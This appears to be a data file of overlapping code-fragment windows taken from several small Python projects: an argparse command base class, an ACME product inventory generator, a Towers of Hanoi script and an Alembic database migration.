"Command(ABC): \"\"\"Abstract class that defines a command for argument parsing.\"\"\" help_text = None",
"before help text.\"\"\" return \"\" @abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to",
"@abstractmethod def add_arguments(self): \"\"\"Add the arguments specific to this command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2",
"import ABC, abstractmethod from argparse import RawTextHelpFormatter class Command(ABC): \"\"\"Abstract class that defines",
"support argument parsing.\"\"\" from abc import ABC, abstractmethod from argparse import RawTextHelpFormatter class",
"class Command(ABC): \"\"\"Abstract class that defines a command for argument parsing.\"\"\" help_text =",
"self.parser.set_defaults(command=self.command) @property def name(self): \"\"\"The name of this command.\"\"\" return self.__class__.__name__.replace(\"Command\", \"\").lower() @property",
"command for argument parsing.\"\"\" help_text = None def __init__(self, subparsers): self.subparsers = subparsers",
"command.\"\"\" self.parser.add_argument(\"filename\", help=\"The ODB2 filename.\") @abstractmethod def command(self, args): \"\"\"The underlying function that",
"subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command) @property def name(self):",
"subparsers): self.subparsers = subparsers self.parser = subparsers.add_parser( self.name, description=self.description, formatter_class=RawTextHelpFormatter ) self.add_arguments() self.parser.set_defaults(command=self.command)",
"return self.__class__.__name__.replace(\"Command\", \"\").lower() @property def description(self): \"\"\"The description to print before help text.\"\"\"",
"\"\"\"Abstract class that defines a command for argument parsing.\"\"\" help_text = None def"
] |
[
"random from acme import Product # creating lists of adjectives and nouns adjectives",
"price = random.randint(5, 100) weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name,",
"range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price",
"'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a",
"and nouns lists ''' products = [] for i in range(0, num_products): name",
"OFFICIAL INVENTORY REPORT') print('Unique product names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average",
"import random from acme import Product # creating lists of adjectives and nouns",
"of products input and outputs a nice summery ''' price_list = [] weight_list",
"products input and outputs a nice summery ''' price_list = [] weight_list =",
"of adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone',",
"# Importing needed library and Product class import random from acme import Product",
"a list of products input and outputs a nice summery ''' price_list =",
"list of products input and outputs a nice summery ''' price_list = []",
"len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: ' + str(len(products))) print('Average",
"= random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products",
"class import random from acme import Product # creating lists of adjectives and",
"len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight =",
"name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5,",
"= [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) /",
"= sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: '",
"Importing needed library and Product class import random from acme import Product #",
"the adjectives and nouns lists ''' products = [] for i in range(0,",
"inventory_report(products): ''' takes a list of products input and outputs a nice summery",
"and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer',",
"summery ''' price_list = [] weight_list = [] flame_list = [] for obj",
"'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list of products given the",
"lists of adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns =",
"acme import Product # creating lists of adjectives and nouns adjectives = ['Cool',",
"takes a list of products input and outputs a nice summery ''' price_list",
"product names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability:",
"''' takes a list of products input and outputs a nice summery '''",
"[] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list)",
"price_list = [] weight_list = [] flame_list = [] for obj in products:",
"len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product",
"nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5, 100) flammability = random.uniform(0.0,",
"average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names:",
"adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def",
"and Product class import random from acme import Product # creating lists of",
"obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight =",
"'Anvil'] def generate_products(num_products=30): ''' creates a list of products given the num_products input",
"/ len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: ' + str(len(products)))",
"return products generate_products() def inventory_report(products): ''' takes a list of products input and",
"print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: ' + str(len(products))) print('Average price:",
"str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame)) if __name__ ==",
"weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return",
"random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products()",
"+ str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame)) if __name__",
"= ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30):",
"adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4',",
"'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list",
"''' creates a list of products given the num_products input and the adjectives",
"from acme import Product # creating lists of adjectives and nouns adjectives =",
"Product # creating lists of adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny',",
"flame_list = [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list)",
"and the adjectives and nouns lists ''' products = [] for i in",
"flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products):",
"products generate_products() def inventory_report(products): ''' takes a list of products input and outputs",
"random.randint(5, 100) weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight,",
"price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame)) if __name__ == '__main__': inventory_report(generate_products())",
"= [] weight_list = [] flame_list = [] for obj in products: price_list.append(obj.price)",
"= [] for i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + '",
"' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame)) if",
"def generate_products(num_products=30): ''' creates a list of products given the num_products input and",
"names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame))",
"average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list)",
"of products given the num_products input and the adjectives and nouns lists '''",
"generate_products() def inventory_report(products): ''' takes a list of products input and outputs a",
"100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def",
"sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT')",
"''' products = [] for i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\",
"'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates",
"[] flame_list = [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price =",
"products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list) /",
"in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)]",
"the num_products input and the adjectives and nouns lists ''' products = []",
"len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION",
"and outputs a nice summery ''' price_list = [] weight_list = [] flame_list",
"nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list of",
"/ len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME",
"' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5, 100)",
"products = [] for i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ +",
"= sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list) /",
"price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes a list of",
"' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5, 100) flammability",
"# creating lists of adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome']",
"2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes a",
"''' price_list = [] weight_list = [] flame_list = [] for obj in",
"= sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY",
"[] for i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' '",
"num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price =",
"INVENTORY REPORT') print('Unique product names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight:",
"['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): '''",
"nice summery ''' price_list = [] weight_list = [] flame_list = [] for",
"for i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' +",
"in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list)",
"= [] flame_list = [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price",
"+ nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5, 100) flammability =",
"sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list)",
"given the num_products input and the adjectives and nouns lists ''' products =",
"creating lists of adjectives and nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns",
"average_weight = sum(weight_list) / len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL",
"a nice summery ''' price_list = [] weight_list = [] flame_list = []",
"weight_list = [] flame_list = [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability)",
"len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5)",
"for obj in products: price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight",
"generate_products(num_products=30): ''' creates a list of products given the num_products input and the",
"CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: ' + str(len(products))) print('Average price: {}'.format(average_price))",
"flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes a list of products input",
"nouns lists ''' products = [] for i in range(0, num_products): name =",
"def inventory_report(products): ''' takes a list of products input and outputs a nice",
"100) weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability))",
"nouns adjectives = ['Cool', 'Flavorful', 'Shiny', 'Awsome'] nouns = ['Phone', 'PS4', 'Computer', 'Anvil']",
"[] weight_list = [] flame_list = [] for obj in products: price_list.append(obj.price) weight_list.append(obj.weight)",
"price_list.append(obj.price) weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list)",
"products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes a list",
"random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes",
"import Product # creating lists of adjectives and nouns adjectives = ['Cool', 'Flavorful',",
"num_products input and the adjectives and nouns lists ''' products = [] for",
"print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average flammability: {}'.format(average_flame)) if __name__ == '__main__':",
"flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame =",
"'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list of products given the num_products",
"library and Product class import random from acme import Product # creating lists",
"= ['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list of products",
"creates a list of products given the num_products input and the adjectives and",
"a list of products given the num_products input and the adjectives and nouns",
"needed library and Product class import random from acme import Product # creating",
"['Phone', 'PS4', 'Computer', 'Anvil'] def generate_products(num_products=30): ''' creates a list of products given",
"/ len(weight_list) average_flame = sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique",
"i in range(0, num_products): name = adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0,",
"Product class import random from acme import Product # creating lists of adjectives",
"weight_list.append(obj.weight) flame_list.append(obj.flammability) average_price = sum(price_list) / len(price_list) average_weight = sum(weight_list) / len(weight_list) average_flame",
"weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): ''' takes a list of products",
"input and the adjectives and nouns lists ''' products = [] for i",
"= adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100)",
"= random.randint(5, 100) weight = random.randint(5, 100) flammability = random.uniform(0.0, 2.5) products.append(Product(name=name, price=price,",
"lists ''' products = [] for i in range(0, num_products): name = adjectives[random.randint(0,",
"+ ' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight = random.randint(5,",
"= random.uniform(0.0, 2.5) products.append(Product(name=name, price=price, weight=weight, flammability=flammability)) return products generate_products() def inventory_report(products): '''",
"sum(flame_list) / len(flame_list) print('ACME CORPORATION OFFICIAL INVENTORY REPORT') print('Unique product names: ' +",
"list of products given the num_products input and the adjectives and nouns lists",
"input and outputs a nice summery ''' price_list = [] weight_list = []",
"REPORT') print('Unique product names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight))",
"outputs a nice summery ''' price_list = [] weight_list = [] flame_list =",
"print('Unique product names: ' + str(len(products))) print('Average price: {}'.format(average_price)) print('Average weight: {}'.format(average_weight)) print('Average",
"adjectives and nouns lists ''' products = [] for i in range(0, num_products):",
"products given the num_products input and the adjectives and nouns lists ''' products",
"adjectives[random.randint(0, len(adjectives)-1)]\\ + ' ' + nouns[random.randint(0, len(nouns)-1)] price = random.randint(5, 100) weight"
] |
[
"source, bridge, destination): if n == 1: print(source, '-->', destination) else: move(n-1, source,",
"Author: Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n, source,",
"else: move(n-1, source, destination, bridge) move(1, source, bridge, destination) move(n-1, bridge, source, destination)",
"-*- # File Name: move_1.py # Author: Lipsum # Mail: <EMAIL> # Created",
"n == 1: print(source, '-->', destination) else: move(n-1, source, destination, bridge) move(1, source,",
"destination) else: move(n-1, source, destination, bridge) move(1, source, bridge, destination) move(n-1, bridge, source,",
"move(n, source, bridge, destination): if n == 1: print(source, '-->', destination) else: move(n-1,",
"coding:utf-8 -*- # File Name: move_1.py # Author: Lipsum # Mail: <EMAIL> #",
"Name: move_1.py # Author: Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12",
"== 1: print(source, '-->', destination) else: move(n-1, source, destination, bridge) move(1, source, bridge,",
"Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination): if n == 1: print(source,",
"'-->', destination) else: move(n-1, source, destination, bridge) move(1, source, bridge, destination) move(n-1, bridge,",
"Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n, source, bridge,",
"2016-05-11 18:25:12 def move(n, source, bridge, destination): if n == 1: print(source, '-->',",
"File Name: move_1.py # Author: Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11",
"#!/usr/bin/python3 # -*- coding:utf-8 -*- # File Name: move_1.py # Author: Lipsum #",
"<EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination): if n",
"-*- coding:utf-8 -*- # File Name: move_1.py # Author: Lipsum # Mail: <EMAIL>",
"if n == 1: print(source, '-->', destination) else: move(n-1, source, destination, bridge) move(1,",
"bridge, destination): if n == 1: print(source, '-->', destination) else: move(n-1, source, destination,",
"destination): if n == 1: print(source, '-->', destination) else: move(n-1, source, destination, bridge)",
"# File Name: move_1.py # Author: Lipsum # Mail: <EMAIL> # Created Time:",
"def move(n, source, bridge, destination): if n == 1: print(source, '-->', destination) else:",
"# Created Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination): if n ==",
"print(source, '-->', destination) else: move(n-1, source, destination, bridge) move(1, source, bridge, destination) move(n-1,",
"source, destination, bridge) move(1, source, bridge, destination) move(n-1, bridge, source, destination) num =",
"1: print(source, '-->', destination) else: move(n-1, source, destination, bridge) move(1, source, bridge, destination)",
"move_1.py # Author: Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def",
"Created Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination): if n == 1:",
"Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination): if",
"# Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n, source, bridge, destination):",
"# -*- coding:utf-8 -*- # File Name: move_1.py # Author: Lipsum # Mail:",
"bridge) move(1, source, bridge, destination) move(n-1, bridge, source, destination) num = ('A','B','C') move(3,*num)",
"destination, bridge) move(1, source, bridge, destination) move(n-1, bridge, source, destination) num = ('A','B','C')",
"18:25:12 def move(n, source, bridge, destination): if n == 1: print(source, '-->', destination)",
"# Author: Lipsum # Mail: <EMAIL> # Created Time: 2016-05-11 18:25:12 def move(n,",
"move(n-1, source, destination, bridge) move(1, source, bridge, destination) move(n-1, bridge, source, destination) num"
] |
[
"commands auto generated by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False),",
"sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'],",
"nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False)",
"nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),",
"['hero'], unique=False) # ### end Alembic commands ### def downgrade(): # ### commands",
"generated by Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32),",
"op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'),",
"sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'],",
"sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True)",
"### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') )",
"Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op import sqlalchemy as sa #",
"alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic.",
"sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'),",
"op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic commands",
"'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16),",
"nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'],",
"down_revision = '<KEY>' branch_labels = None depends_on = None def upgrade(): # ###",
"generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'),",
"), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'],",
"op import sqlalchemy as sa # revision identifiers, used by Alembic. revision =",
"by Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on =",
"nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id',",
"def downgrade(): # ### commands auto generated by Alembic - please adjust! ###",
"sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(),",
"sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam',",
"auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam') op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam')",
"sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe', sa.String(length=32), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'),",
"# ### commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_bossteam_hero'), table_name='bossteam')",
"sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'],",
"8fb490efb894 Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op import",
"op.drop_index(op.f('ix_bossteam_damage'), table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') # ### end Alembic commands",
") op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end Alembic",
"unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(),",
"table_name='bossteam') op.drop_table('bossteam') op.drop_index(op.f('ix_boss_base_nameSafe'), table_name='boss_base') op.drop_index(op.f('ix_boss_base_name'), table_name='boss_base') op.drop_table('boss_base') # ### end Alembic commands ###",
"import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision",
"op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id', sa.Integer(), nullable=True),",
"### def downgrade(): # ### commands auto generated by Alembic - please adjust!",
"= '8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on = None def upgrade():",
"op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero',",
"None depends_on = None def upgrade(): # ### commands auto generated by Alembic",
"import sqlalchemy as sa # revision identifiers, used by Alembic. revision = '8fb490efb894'",
"\"\"\"empty message Revision ID: 8fb490efb894 Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from",
"sa.Integer(), nullable=True), sa.Column('bossbase_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') )",
"sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['bossbase_id'], ['boss_base.id'], ), sa.ForeignKeyConstraint(['user_id'], ['user.id'], ), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'],",
"20:33:31.609050 \"\"\" from alembic import op import sqlalchemy as sa # revision identifiers,",
"revision = '8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on = None def",
"Alembic - please adjust! ### op.create_table('boss_base', sa.Column('id', sa.Integer(), nullable=False), sa.Column('name', sa.String(length=32), nullable=True), sa.Column('nameSafe',",
"sa # revision identifiers, used by Alembic. revision = '8fb490efb894' down_revision = '<KEY>'",
"op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(),",
"['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage', sa.Integer(), nullable=True), sa.Column('user_id',",
"sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_bossteam_damage'), 'bossteam', ['damage'], unique=False) op.create_index(op.f('ix_bossteam_hero'), 'bossteam', ['hero'], unique=False) # ### end",
"Alembic commands ### def downgrade(): # ### commands auto generated by Alembic -",
"Revises: <KEY> Create Date: 2020-06-15 20:33:31.609050 \"\"\" from alembic import op import sqlalchemy",
"branch_labels = None depends_on = None def upgrade(): # ### commands auto generated",
"\"\"\" from alembic import op import sqlalchemy as sa # revision identifiers, used",
"identifiers, used by Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels = None",
") op.create_index(op.f('ix_boss_base_name'), 'boss_base', ['name'], unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False),",
"used by Alembic. revision = '8fb490efb894' down_revision = '<KEY>' branch_labels = None depends_on",
"unique=True) op.create_index(op.f('ix_boss_base_nameSafe'), 'boss_base', ['nameSafe'], unique=True) op.create_table('bossteam', sa.Column('id', sa.Integer(), nullable=False), sa.Column('hero', sa.String(length=16), nullable=True), sa.Column('damage',",
"end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic",
"sqlalchemy as sa # revision identifiers, used by Alembic. revision = '8fb490efb894' down_revision",
